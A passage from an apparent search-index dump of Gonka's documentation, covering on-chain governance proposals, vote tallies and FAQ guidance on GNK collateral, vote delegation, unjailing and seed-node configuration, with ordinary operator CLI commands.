\"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"9500000000\",\n \"unlock_after_days\": 0\n },\n {\n \"recipient\": \"gonka1zhcn5yz86z0jlsyzm9xkkhx6km5p8a4apw9rsj\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"9500000000\",\n \"unlock_after_days\": 31\n },\n {\n \"recipient\": \"gonka1zhcn5yz86z0jlsyzm9xkkhx6km5p8a4apw9rsj\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"9500000000\",\n \"unlock_after_days\": 62\n },\n {\n \"recipient\": \"gonka15at6rrk3tspus7mu0t2yg26r4guq7sqkpq3wf4\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"9500000000\",\n \"unlock_after_days\": 0\n },\n {\n \"recipient\": \"gonka15at6rrk3tspus7mu0t2yg26r4guq7sqkpq3wf4\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"9500000000\",\n \"unlock_after_days\": 31\n },\n {\n \"recipient\": \"gonka15at6rrk3tspus7mu0t2yg26r4guq7sqkpq3wf4\",\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"9500000000\",\n \"unlock_after_days\": 62\n }\n ],\n \"close_after_days\": 150\n },\n \"funds\": [],\n \"salt\": \"Z3RtLXRlYW0tMjAyNg==\",\n \"fix_msg\": false\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1stfulpj6t5mc0nekph7g7tcf7dv5mszm95xtvt6rc5repv7t5yvq28h3ja\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"240000000000000\"\n }\n ]\n },\n {\n \"@type\": \"/cosmwasm.wasm.v1.MsgExecuteContract\",\n \"sender\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"contract\": \"gonka18pkq9mwxxlmyq7kr5txhm060wemg2s4u94wvsfd9w2kdc0u99d6spk8pz2\",\n \"msg\": {\n \"withdraw_ibc\": {\n \"denom\": \"ibc/115F68FBA220A028C6F6ED08EA0C1A9C8C52798B14FB66E6C89D5D8C06A524D4\",\n \"amount\": \"57000000000\",\n \"recipient\": \"gonka1stfulpj6t5mc0nekph7g7tcf7dv5mszm95xtvt6rc5repv7t5yvq28h3ja\"\n }\n },\n \"funds\": []\n }\n]\nCurrently Gonka has a lot of marketing activities, but doesn't have analytics to measure the results of their work and doesn't have a vision which target audiences and how we need to attract and onboard.
This proposal describes key activities to set analytics, bisdev target audiences and search for best of their acquisition by hundreds of cheap experiments; the team and the budgets for the next 3 months. It's a part of activities we've planned and described in detail here.
"}, {"location": "proposals/proposals/2026-q3/90/full-proposal/#budget", "title": "Budget", "text": "Activity Cost GNK Cost USDT Key executives Build marketing analytics across Inference Brokers, Wallets, and other services in the Gonka ecosystem: who, from which channel, usage funnel 60K GNK 6K USDT Viktor Partnerships with inference resellers (Openrouter competitors) and other B2Bs meaningful for Gonka 90K GNK 18K USDT Dima + Alex + Viktor Agent vibecoders, startupers, developers and other B2C users acquisition leveraging partnerships with communities, influencers, meetups and other cheap activities targeting mostly English, Spanish and other non-Ru users 90K GNK 18K USDT Viktor + Ian + Alex United costs: other tools, infrastructure, development, emails, linked-in, external agencies 0K GNK 15K USDT Viktor + Dima Total 240K GNK 57K USDTHundreds of collaborations with communities, influencers and inference resellers; onboarding landing pages and cases collection activities; consistent and transparent work with hypotheses of target audiences, channels, offers, and formats; competitors analysis including outreach to their marketers collecting their Insights — are also included.
Part of the acquired traffic will be distributed between random services, part — between those who work the best.
"}, {"location": "proposals/proposals/2026-q3/90/full-proposal/#payments-and-timeline", "title": "Payments and Timeline", "text": "Our offer is a selection of the cheapest ways to broadly research potential Gonka target audiences — by testing various offer formats, calling to use Gonka's low-cost AI inference and join Gonka.
We will not sell GNK by ourselves at least during the 6-month period and we will organize vesting-like payments for the other contributors.
Governance may cancel the initiative at any time, in which case all remaining payments will be terminated, for example if KPIs are not achieved. We use contract described in testlab-devnet-escrow (that Sega used in proposal 82).
"}, {"location": "proposals/proposals/2026-q3/90/full-proposal/#team", "title": "Team", "text": "Voting: https://gonka.vote/governance/90
"}, {"location": "proposals/proposals/2026-q3/91/", "title": "#91 – Temporarily update BLS signing parameters", "text": "Passed
Proposal ID: 91
Type: Update Params
Submit: 2026-07-23 17:23 UTC
Voting: 2026-07-23 17:23 UTC → 2026-07-24 05:23 UTC
Expedited: Yes
Proposer: gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le
View on gonka.gg
Set max_signing_attempts to 1 and signing_deadline_blocks to 60 epoch lengths (923460 blocks) to mitigate a theoretical risk identified in a security report. Historically, retries have never been needed on mainnet, so this temporary change is not expected to affect normal operation.
"}, {"location": "proposals/proposals/2026-q3/91/#final-tally", "title": "Final Tally", "text": "Yes 243,165 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 243,165 votes ✓ Turnout 243,165 / 569,511 (42.7%) · Quorum 25% (142,377)"}, {"location": "proposals/proposals/2026-q3/91/#voters", "title": "Voters", "text": "VoterVote gonka1y2a9p5…ryv5leYes 100.0% gonka1gvrrhj…d2v4zrYes 100.0% gonka1dkl4ma…y552cpYes 100.0% gonka1kx9mca…nm6wc5Yes 100.0%"}, {"location": "proposals/proposals/2026-q3/91/#messages", "title": "Messages", "text": "# Type 1/inference.bls.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.bls.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"i_total_slots\": 100,\n \"t_slots_degree_offset\": 50,\n \"dealing_phase_duration_blocks\": \"5\",\n \"verification_phase_duration_blocks\": \"3\",\n \"signing_deadline_blocks\": \"923460\",\n \"dispute_phase_duration_blocks\": \"3\",\n \"completed_fallback_blocks\": \"0\",\n \"max_signing_attempts\": 1\n }\n }\n]\nGonka is a decentralized AI infrastructure designed to optimize computational power specifically for AI model training and inference, offering a competitive alternative to traditional centralized cloud providers. Centralized systems are often expensive, monopolistic, and carry risks of censorship, whereas existing decentralized networks frequently waste resources on non-productive tasks, such as network security.
We introduce an innovative consensus mechanism that ensures nearly 100% of computational resources are used for meaningful AI tasks, maximizing efficiency and minimizing operational costs.
The system features key roles:
This collaboration allows the platform to offer AI services at significantly lower prices, making advanced AI technology more accessible to a broader audience.
"}, {"location": "gonka/docs/Errors/", "title": "Errors", "text": ""}, {"location": "gonka/docs/Errors/#errors", "title": "Errors", "text": "Here you can find examples of common errors and typical log entries that may appear in node logs.
2025/08/28 08:37:08 ERROR No epoch models available for this node subsystem=Nodes node_id=node1\n2025/08/28 08:37:08 INFO Finalizing state transition for node subsystem=Nodes node_id=node1 from_status=FAILED to_status=FAILED from_poc_status=\"\" to_poc_status=\"\" succeeded=false blockHeight=92476\nGonka is a decentralized network for high‑efficiency AI compute — run by those who run it. It functions as a cost-effective and efficient alternative to centralized cloud services for AI model training and inference. As a protocol, it's not a company or a start-up.
Gonka is a decentralized AI infrastructure built to reduce dependence on centralized cloud providers and to use computational power more efficiently than traditional decentralized networks. Its goal is to direct as much compute as possible toward useful AI tasks, such as inference and training, while minimizing waste due to consensus overhead.
"}, {"location": "gonka/docs/FAQ/#who-are-the-key-participants-in-the-gonka-ecosystem", "title": "Who are the key participants in the Gonka ecosystem?", "text": "The Gonka ecosystem has four key participant groups:
GNK is the native coin of the Gonka network. It is used to incentivize participants, price resources, and ensure the sustainable growth of the network.
"}, {"location": "gonka/docs/FAQ/#can-i-buy-gnk-coin", "title": "Can I buy GNK coin?", "text": "Native GNK is not listed on any centralized exchange (CEX) yet, so you cannot buy it on a CEX. Follow official announcements on Twitter for any updates regarding listings.
There are, however, two legitimate ways to obtain GNK today:
Track WGNK price and market data
You can follow WGNK (wrapped GNK) price, market cap, and trading volume on:
Verify the contract address before trading
The only official Ethereum representation of GNK is WGNK at 0x972a7a92d92796a98801a8818bcf91f1648f2f68 — this address is both the bridge contract and the WGNK ERC-20 token. Always confirm any listing or trade resolves to this exact address.
Fake GNK listings and pages still exist on other trackers and networks: any coin claiming to be GNK on Solana, or on any contract other than the WGNK address above, is not an official GNK asset. Always verify information through official channels.
"}, {"location": "gonka/docs/FAQ/#what-makes-the-protocol-efficient", "title": "What makes the protocol efficient?", "text": "What differentiates Gonka from the \"big players\" is its pricing and the fact that, despite the Host's size, the inference is distributed equally. To learn more, please review the Whitepaper.
"}, {"location": "gonka/docs/FAQ/#how-does-the-network-operate", "title": "How does the network operate?", "text": "The network's operation is collaborative and depends on the role you wish to take:
No. This documentation covers the primary concepts, standard workflows, and the most common operational scenarios of the protocol, but it does not represent the full behavior or implementation details of the codebase. The code includes additional logic, interactions, and edge cases that are not described here.
Because Gonka is an open-source and decentralized network, various parameters, mechanisms, and governance-driven behaviors may evolve through on-chain voting and community decisions. Certain details may change after publication, and not all edge cases or future updates may be reflected immediately.
For Hosts, Developers, and Contributors, the ultimate source of truth is the code itself. If any discrepancy arises between this documentation and the code, the code always prevails.
Participants are encouraged to review the relevant repositories, governance proposals, and network updates to ensure their understanding aligns with the protocol’s current state.
"}, {"location": "gonka/docs/FAQ/#what-is-the-incentive-for-contributing-computational-resources", "title": "What is the incentive for contributing computational resources?", "text": "We've created a dedicated document focused on Tokenomics, where you can find all the information about how the incentive in being measured.
"}, {"location": "gonka/docs/FAQ/#what-are-the-hardware-requirements", "title": "What are the hardware requirements?", "text": "You can find the minimum and recommended hardware specifications clearly outlined in the documentation. You should review this section to ensure your hardware meets the requirements for effective contribution.
"}, {"location": "gonka/docs/FAQ/#what-wallets-can-i-use-to-store-gnk-coins", "title": "What wallets can I use to store GNK coins?", "text": "You can store GNK coin in several supported wallets within the Cosmos ecosystem:
inferenced CLI - a command-line utility for local account management and network operations in Gonka.Important for existing Leap Wallet users
If you previously created your Gonka account with Leap Wallet, please be aware that Leap is shutting down all of its products on May 28, 2026, including the browser extension, mobile app, and dashboard.
Because Leap is a non-custodial wallet, your assets and account remain on-chain. However, to keep access to your wallet, you should import your existing recovery phrase into another supported wallet, such as Keplr, before Leap services go offline.
"}, {"location": "gonka/docs/FAQ/#where-can-i-find-useful-information-about-gonka", "title": "Where can I find useful information about Gonka?", "text": "Below are the most important resources for learning about the Gonka ecosystem:
Gonka uses a PoC-weighted voting model:
For the first 180 epochs (approximately 6 months), new participants can participate in governance and earn voting weight through PoC alone, without collateral requirements. During this period, the full governance rights are available, while voting weight remains tied to verified compute activity.
"}, {"location": "gonka/docs/FAQ/#why-does-gonka-require-locking-gnk-coins-for-governance-power", "title": "Why does Gonka require locking GNK coins for governance power?", "text": "Voting power is never derived solely from holding coins. GNK coins serve as economic collateral, not as a source of influence. Influence is earned through continuous computational contribution, while locking GNK collateral is required to secure participation in governance and enforce accountability.
"}, {"location": "gonka/docs/FAQ/#collateral", "title": "Collateral", "text": ""}, {"location": "gonka/docs/FAQ/#what-is-collateral", "title": "What is collateral?", "text": "Collateral is required to activate the collateral-eligible portion of PoC weight after the Grace Period (first 180 epochs). After the Grace Period:
Collateral ensures that participants with governance weight also bear economic responsibility. Parameters are defined on-chain and may change via governance. Always verify current values before making economic decisions.
"}, {"location": "gonka/docs/FAQ/#is-collateral-required-per-node-or-per-account", "title": "Is collateral required per node or per account?", "text": "Collateral is deposited per account. If multiple ML nodes are linked to the same account, the required collateral is calculated based on the total account weight across all nodes.
"}, {"location": "gonka/docs/FAQ/#do-i-need-to-deposit-collateral", "title": "Do I need to deposit collateral?", "text": "Yes, if you want to activate more than the Base Weight. If no collateral is deposited, only the Base Weight remains active.
"}, {"location": "gonka/docs/FAQ/#how-much-collateral-is-required", "title": "How much collateral is required?", "text": "Formula:
Required Collateral =\nTotal Weight × (1 - base_weight_ratio) × collateral_per_weight_unit\nRecommended (with conservative buffer):\nTotal Weight × 2 × (1 - base_weight_ratio) × collateral_per_weight_unit\nYes. Your total Active Weight consists of:
If you deposit less than the full required amount:
Active Weight is calculated as:
Active Weight =\nBase Weight +\n(Deposited Collateral / Required Collateral) × Collateral-Eligible Weight\nYour Active Weight is reduced proportionally. Because rewards are distributed proportionally to Active Weight, other hosts receive a larger share of emissions when you under-collateralize. Inactive weight is not directly redistributed, it simply does not participate in consensus.
"}, {"location": "gonka/docs/FAQ/#when-does-collateral-take-effect", "title": "When does collateral take effect?", "text": "Collateral must be deposited before the start of the epoch to be effective. Collateral deposited during an epoch:
Collateral cannot be increased mid-epoch.
"}, {"location": "gonka/docs/FAQ/#in-what-unit-do-i-deposit-collateral", "title": "In what unit do I deposit collateral?", "text": "Transactions must use ngonka, not GNK.
1 GNK = 1,000,000,000 ngonka\n10 GNK = 10,000,000,000 ngonka\nYes. Collateral may be slashed for:
Invalid inference slashing is capped at once per epoch. Downtime slashing may be applied per jail event.
"}, {"location": "gonka/docs/FAQ/#what-happens-to-slashed-coins", "title": "What happens to slashed coins?", "text": "Currently, slashed GNK is permanently burned and removed from circulation. Future governance may change this mechanism.
"}, {"location": "gonka/docs/FAQ/#can-i-withdraw-collateral", "title": "Can I withdraw collateral?", "text": "Yes. Withdrawal triggers an unbonding period (default: 1 epoch). During unbonding, collateral remains subject to slashing. After unbonding funds are automatically returned to your account balance.
"}, {"location": "gonka/docs/FAQ/#what-collateral-is-not", "title": "What collateral is NOT", "text": "A fixed amount of GNK is minted each epoch and distributed proportionally to Active PoC Weight. Active Weight determines:
If your Active Weight is reduced due to insufficient collateral, your share of epoch rewards decreases proportionally. Inactive weight does not receive rewards.
"}, {"location": "gonka/docs/FAQ/#do-i-need-to-manually-deposit-collateral", "title": "Do I need to manually deposit collateral?", "text": "Yes. Collateral must be deposited by submitting an on-chain transaction. It is not activated automatically. If no collateral is deposited:
Your rewards and governance influence will be reduced proportionally.
"}, {"location": "gonka/docs/FAQ/#can-vested-locked-gnk-be-used-as-collateral", "title": "Can vested (locked) GNK be used as collateral?", "text": "No. Collateral must be deposited from your available (unlocked) GNK balance. Vested coins that are not yet released cannot be used as collateral.
"}, {"location": "gonka/docs/FAQ/#governance", "title": "Governance", "text": ""}, {"location": "gonka/docs/FAQ/#what-types-of-changes-require-a-governance-proposal", "title": "What types of changes require a Governance Proposal?", "text": "Governance Proposals are required for any on-chain changes that affect the network, for example:
MsgUpdateParams)Anyone with a valid governance key (cold account) can pay the required fee and create a Governance Proposal. However, each proposal must still be approved by active participants through PoC-weighted voting. Proposers are encouraged to discuss significant changes off-chain first (for example, via GitHub or community forums) to increase the likelihood of approval. See the full guide.
"}, {"location": "gonka/docs/FAQ/#what-happens-if-a-proposal-fails", "title": "What happens if a proposal fails?", "text": "no → proposal rejected, no on-chain changesno_with_veto (above veto threshold) → proposal is rejected and flagged, signaling strong community disagreementYes. All key governance rules — quorum, majority threshold, and veto threshold — are on-chain configurable and can be updated via Governance Proposals. This allows the network to evolve decision-making rules as participation patterns and compute economic changes.
"}, {"location": "gonka/docs/FAQ/#what-should-i-do-if-i-cannot-vote-because-i-do-not-have-access-to-the-cold-key-or-if-i-want-another-key-to-vote-on-my-behalf", "title": "What should I do if I cannot vote because I do not have access to the cold key, or if I want another key to vote on my behalf?", "text": "If the key that holds voting power is not the key you use for day-to-day operations, governance voting permission can be granted in advance.
In this setup:
There are two common scenarios:
1. You want to vote, but you do not have access to the key that holds the voting power.
Please contact the owner of that key and ask them to grant your key permission to vote on their behalf. Without this authorization, your key cannot submit a governance vote for that voting power.
2. You want another key to vote on your behalf.
Use the grant command below from the key that holds the voting power. This will authorize the grantee key to submit governance votes for you. This delegation only allows voting on governance proposals. The grantee can still vote for their own key as well. The granter can revoke this permission at any time.
1) Grant voting permission (run from the granter key)
CommandExample response./inferenced tx authz grant <GRANTEE_GONKA_ADDRESS> generic \\\n --msg-type=/cosmos.gov.v1beta1.MsgVote \\\n --from=<GRANTER_KEY_NAME> \\\n --chain-id=gonka-mainnet \\\n --expiration=<UNIX_TIMESTAMP> \\\n --home .inference \\\n --keyring-backend file\n{\n \"height\": \"0\",\n \"txhash\": \"8D96FB6FC06FFB928FBC89FE950689CD040C7F338C197BA856175EC7462A3FFA\",\n \"codespace\": \"\",\n \"code\": 0,\n \"data\": \"\",\n \"raw_log\": \"\",\n \"logs\": [],\n \"info\": \"\",\n \"gas_wanted\": \"0\",\n \"gas_used\": \"0\",\n \"tx\": null,\n \"timestamp\": \"\",\n \"events\": []\n}\n2) Verify the grant exists (run from any node)
CommandExample response./inferenced query authz grants <GRANTER_GONKA_ADDRESS> <GRANTEE_GONKA_ADDRESS> \\\n --node=\"http://<MAINNET_NODE_URL>:26657\" \\\n --output=json | jq .\n{\n \"grants\": [\n {\n \"authorization\": {\n \"type\": \"cosmos-sdk/GenericAuthorization\",\n \"value\": {\n \"msg\": \"/cosmos.gov.v1beta1.MsgVote\"\n }\n },\n \"expiration\": \"2026-12-03T18:38:18Z\"\n }\n ],\n \"pagination\": {\n \"total\": \"1\"\n }\n}\n3) Vote using the grantee
CommandExample response# Find the proposal ID which you are voting for - use it as <VOTE_PROPOSAL_ID> in the voting body \n./inferenced query gov proposals --output json\n\n# Prepare the file with the voting body\ncat > /tmp/authz-vote.json << 'EOF'\n{\n \"body\": {\n \"messages\": [\n {\n \"@type\": \"/cosmos.authz.v1beta1.MsgExec\",\n \"grantee\": \"<GRANTEE_GONKA_ADDRESS>\",\n \"msgs\": [\n {\n \"@type\": \"/cosmos.gov.v1beta1.MsgVote\",\n \"proposal_id\": \"<VOTE_PROPOSAL_ID>\",\n \"voter\": \"<GRANTER_GONKA_ADDRESS>\",\n \"option\": \"VOTE_OPTION_YES\"\n }\n ]\n }\n ]\n }\n}\nEOF\n\n\n# Vote using the file \n./inferenced tx authz exec /tmp/authz-vote.json \\ --from=<GRANTEE_KEY_NAME> \\ \n--chain-id=gonka-mainnet \\\n--home .inference \\\n--keyring-backend file \\\n--node=\"http://<MAINNET_NODE_URL>:26657\" -y\n{\n \"pagination\": {\n \"total\": \"1\"\n },\n \"proposals\": [\n {\n \"deposit_end_time\": \"2026-03-06T10:40:07.016920026Z\",\n \"final_tally_result\": {\n \"abstain_count\": \"0\",\n \"no_count\": \"0\",\n \"no_with_veto_count\": \"0\",\n \"yes_count\": \"0\"\n },\n \"id\": \"1\",\n \"messages\": [\n {\n \"type\": \"cosmos-sdk/MsgSoftwareUpgrade\",\n \"value\": {\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"height\": \"406062\",\n \"info\": \"{\\n \\\"binaries\\\":{\\n \\\"linux/amd64\\\":\\\"https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.10-testnet1/inferenced-amd64.zip?checksum=sha256:fb71310427436aebac32813735231882fca420cf0d94b036f8cacd055d0e1c78\\\"\\n },\\n \\\"api_binaries\\\":{\\n \\\"linux/amd64\\\":\\\"https://github.com/product-science/race-releases/releases/download/release%2Fv0.2.10-testnet1/decentralized-api-amd64.zip?checksum=sha256:6fe214f4bb2d831c02ce407682820d95d01e6ae94a33fe9c4617b80e0ca716ce\\\"\\n }\\n }\",\n \"name\": \"v0.2.10\",\n \"time\": \"0001-01-01T00:00:00Z\"\n }\n }\n }\n ],\n \"proposer\": \"gonka1xfvr8mywcrxrcrryvj8c5d2grvyjdj5c90fd88\",\n \"status\": 2,\n \"submit_time\": \"2026-03-04T10:40:07.016920026Z\",\n \"summary\": \"Upgrade Proposal v0.2.10\",\n \"title\": \"Upgrade Proposal v0.2.10\",\n \"total_deposit\": [\n {\n \"amount\": \"50000000\",\n \"denom\": \"ngonka\"\n }\n ],\n \"voting_end_time\": \"2026-03-04T10:50:07.016920026Z\",\n \"voting_start_time\": \"2026-03-04T10:40:07.016920026Z\"\n }\n ]\n}\nVoting options:
VOTE_OPTION_YESVOTE_OPTION_ABSTAINVOTE_OPTION_NOVOTE_OPTION_NO_WITH_VETO4) Revoke delegation (run from the granter key)
CommandExample response./inferenced tx authz revoke <GRANTEE_GONKA_ADDRESS> /cosmos.gov.v1beta1.MsgVote \\\n --from=<GRANTER_KEY_NAME> \\\n --chain-id=gonka-mainnet \\\n --home .inference \\\n --keyring-backend file\n{\n code: 0\n codespace: \"\"\n data: \"\"\n events: []\n gas_used: \"0\"\n gas_wanted: \"0\"\n height: \"0\"\n info: \"\"\n logs: []\n raw_log: \"\"\n timestamp: \"\"\n tx: null\n txhash: A2C3CDA9E95DCF143C0D8981A4F573F1E68879ECF4903B25BA97383C3F2FDFBA\n}\nGovernance Proposals → on-chain proposals. Used for changes that directly affect the network and require on-chain voting. Examples:
MsgUpdateParams)Improvement Proposals → off-chain proposals under the control of active participants. Used for shaping the long-term roadmap, discussing new ideas, and coordinating larger strategic changes.
The goal of community proposal review is to gather community validation: reactions, comments, and concrete feedback that strengthens the case for eventual governance approval. This is especially relevant if the proposal implementation requires a lot of work, long-term commitment, coordination or significant changes into the protocol.
/proposals directory.Yes. Often, an Improvement Proposal is used to explore ideas and gather consensus before drafting a Governance Proposal. For example:
Voting options: yes, no, no_with_veto, abstain
yes → approve the proposalno → reject the proposalno_with_veto → reject and signal a strong objectionabstain → neither approve nor reject, but counts toward quorumYou can change your vote anytime during the voting period; only your last vote is counted
To vote, you can use the command below. This example votes yes, but you can replace it with your preferred option (yes, no, no_with_veto, abstain):
./inferenced tx gov vote 2 yes \\\n --from <cold_key_name> \\\n --keyring-backend file \\\n --unordered \\\n --timeout-duration=60s --gas=2000000 --gas-adjustment=5.0 \\\n --node $NODE_URL/chain-rpc/ \\\n --chain-id gonka-mainnet \\\n --yes\nYou can query the proposal status at any time using the CLI:
export NODE_URL=http://47.236.19.22:18000\n./inferenced query gov tally 2 -o json --node $NODE_URL/chain-rpc/\nTo restore a Network Node in the future, it will be sufficient to back up:
.tmkms/secrets/.inference .inference/keyring-file/.inference/config .inference/config/node_key.jsonKEYRING_PASSWORDYour validator has been jailed because it signed fewer than 50 blocks out of the last 100 blocks (the requirement counts the total number of signed blocks in that window, not consecutive ones). This means your node was temporarily excluded (about 15 minutes) from block production to protect network stability. There are several possible reasons for this:
Rewards: Even if your node is jailed, you will continue to receive most of the rewards as a Host as long as it remains active in inference or other validator-related work. So, the reward is not lost unless inference issues are detected.
How to Unjail Your Node: To resume normal operation, unjail your validator once the issue is resolved. Use your cold key to submit the unjail transaction:
export NODE_URL=http://<NODE_URL>:<port>\n ./inferenced tx slashing unjail \\\n --from <cold_key_name> \\\n --keyring-backend file \\\n --chain-id gonka-mainnet \\\n --gas auto \\\n --gas-adjustment 1.5 \\\n --fees 200000ngonka \\\n --node $NODE_URL/chain-rpc/\n ./inferenced query staking delegator-validators \\\n <cold_key_addr> \\\n --node $NODE_URL/chain-rpc/\njailed: true."}, {"location": "gonka/docs/FAQ/#how-to-decommission-an-old-cluster", "title": "How to decommission an old cluster?", "text": "Follow this guide to safely shut down an old cluster without impacting reputation.
1) Use the following command to disable each ML Node:
curl -X POST http://localhost:9200/admin/v1/nodes/<id>/disable\nYou can list all node IDs with:
curl http://localhost:9200/admin/v1/nodes | jq '.[].node.id'\n2) Nodes that are not scheduled to serve inference during the next Proof-of-Compute (PoC) will automatically stop during that PoC. Nodes that are scheduled to serve inference will remain active for one more epoch before stopping. You can verify a node’s status in the mlnode field at:
curl http://<inference_url>/v1/epochs/current/participants\nOnce a node is marked as disabled, it is safe to power off the MLNode server.
3) After all MLNodes have been disabled and powered off, you can shut down the Network Node. Before doing so, it’s recommended (but optional) to back up the following files:
.dapi/api-config.yaml.dapi/gonka.db (created after on-chain upgrade).inference/config/.inference/keyring-file/.tmkms/If you skip the backup, the setup can still be restored later using your Account Key.
"}, {"location": "gonka/docs/FAQ/#my-node-cannot-connect-to-the-default-seed-node-specified-in-the-configenv", "title": "My node cannot connect to the default seed node specified in theconfig.env", "text": "If your node cannot connect to the default seed node, simply point it to another one by updating three variables in config.env.
SEED_API_URL - HTTP endpoint of the seed node (used for API communication). Choose any URL from the list below and assign it directly to SEED_API_URL. export SEED_API_URL=<chosen_http_url>\nhttp://185.216.21.98:8000\nhttp://36.189.234.197:18026\nhttp://36.189.234.237:17241\nhttp://node1.gonka.ai:8000\nhttp://node2.gonka.ai:8000\nhttp://node3.gonka.ai:8000\nhttps://node4.gonka.ai\nhttp://47.236.26.199:8000\nhttp://47.236.19.22:18000\nhttp://gonka.spv.re:8000\nSEED_NODE_RPC_URL - Public Tendermint RPC access MUST go through the seed node HTTP(S) proxy path /<chain-rpc>. Use the same scheme (http or https), host, and port as in SEED_API_URL, and append /chain-rpc. export SEED_NODE_RPC_URL=http://<host>/chain-rpc\nSEED_NODE_RPC_URL=http://node2.gonka.ai:8000/chain-rpc/ \nImportant
http://<host>:26657 as a public RPC endpoint.26657 MUST be internal-only (localhost/private network). Public RPC must go via /<chain-rpc>.SEED_NODE_P2P_URL - the P2P address used for networking between nodes. You must obtain the P2P port from the seed node’s status endpoint via the same /<chain-rpc> proxy.
Query the node:
http://<host>:<http_port>/chain-rpc/status\nhttps://node3.gonka.ai/chain-rpc/status\nlisten_addr in the response, for example: \"\"listen_addr\"\": \"\"tcp://0.0.0.0:5000\"\"\nUse this port:
export SEED_NODE_P2P_URL=tcp://<host>:<p2p_port>\nexport SEED_NODE_P2P_URL=tcp://node3.gonka.ai:5000\nFinal result example
export SEED_API_URL=http://node2.gonka.ai:8000\nexport SEED_NODE_RPC_URL=http://node2.gonka.ai:8000/chain-rpc/\nexport SEED_NODE_P2P_URL=tcp://node2.gonka.ai:5000\nThere are two distinct ways to update seed nodes, depending on whether the node has already been initialized.
Option 1. Manually edit seed nodes (after initialization)Option 2. Reinitialize the Node (seeds auto-applied from environment)Once the file .node_initialized is created, the system no longer updates seed nodes automatically. After that point:
The format is a single comma-separated string:
seeds = \"<node1_id>@<node1_ip>:<node1_p2p_port>,<node2_id>@<node2_ip>:<node2_p2p_port>\"\ncurl http://47.236.26.199:8000/chain-rpc/net_info | jq\nIn response, look for:
listen_addr - P2P endpointrpc_addr - RPC endpointExample:
% Total % Received % Xferd Average Speed Time Time Time Current\n Dload Upload Total Spent Left Speed\n100 94098 0 94098 0 0 91935 0 --:--:-- 0:00:01 --:--:-- 91982\n{\n \"jsonrpc\": \"2.0\",\n \"id\": -1,\n \"result\": {\n \"listening\": true,\n \"listeners\": [\n \"Listener(@tcp://47.236.26.199:5000)\"\n ],\n \"n_peers\": \"50\",\n \"peers\": [\n {\n \"node_info\": {\n \"protocol_version\": {\n \"p2p\": \"8\",\n \"block\": \"11\",\n \"app\": \"0\"\n },\n \"id\": \"ce6f26b9508839c29e0bfd9e3e20e01ff4dda360\",\n \"listen_addr\": \"tcp://85.234.78.106:5000\",\n \"network\": \"gonka-mainnet\",\n \"version\": \"0.38.17\",\n \"channels\": \"40202122233038606100\",\n \"moniker\": \"my-node\",\n \"other\": {\n \"tx_index\": \"on\",\n \"rpc_address\": \"tcp://0.0.0.0:26657\"\n }\n },\n...\nThis displays all peers the node currently sees.
Use this method if you want the node to regenerate its configuration and automatically apply the seed nodes defined in config.env.
source config.env\ndocker compose down node\nsudo rm -rf .inference/data/ .inference/.node_initialized\nsudo mkdir -p .inference/data/\nsudo cat .inference/config/config.toml\nseeds = [...]\nThe chain does not verify real hardware. It only validates the total participant weight, and this is the sole value used for weight distribution and reward calculation.
Any breakdown of this weight across ML Nodes, as well as any “hardware type” or other descriptive fields, is purely informational and can be freely modified by the Host.
When creating or updating a node (for example, via POST http://localhost:9200/admin/v1/nodes as shown in the handler code at https://github.com/gonka-ai/gonka/blob/aa85699ab203f8c7fa83eb1111a2647241c30fc4/decentralized-api/internal/server/admin/node_handlers.go#L62), the hardware field can be explicitly specified. If it is omitted, the API service attempts to auto-detect hardware information from the ML Node.
In practice, many hosts run a proxy ML Node behind which multiple servers operate; auto-detection only sees one of these servers, which is a fully valid setup. Regardless of configuration, all weight distribution and rewards rely solely on the Host total weight, and the internal split across ML Nodes or the reported hardware types never affect on-chain validation.
"}, {"location": "gonka/docs/FAQ/#how-to-switch-to-qwenqwen3-235b-a22b-instruct-2507-fp8-upgrade-ml-nodes-and-remove-other-models", "title": "How to switch toQwen/Qwen3-235B-A22B-Instruct-2507-FP8, upgrade ML Nodes, and remove other models?", "text": "Historical — v0.2.8 / PoC v2 migration
This entry documents the v0.2.8 / PoC v2 migration (Epoch 155), when Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 was the single enforced model. It is kept for historical reference only. As of epoch 308, Qwen3-235B has been retired by governance (proposal 78) and MiniMaxAI/MiniMax-M2.7 is the base/active PoC model. For current setup, follow the Host Quickstart and Multi-Model PoC — Host Operations Guide.
This guide explains how Hosts should update their ML Nodes in response to changes in v0.2.8 model availability and the upcoming PoC v2 update. ML Node configuration compliance with PoC v2 is observed starting Epoch 155. Hosts are encouraged to review and prepare their ML Node configuration before that point. Migration to PoC v2 can be scheduled after epoch 155. After the migration phase, weights from ML Nodes that do not meet the configuration requirements may not be counted.
1. Background: model availability changes (upgrade v0.2.8)
As part of the v0.2.8 upgrade, the active model set has been updated.
Supported models (active set)
Only the following models remain supported:
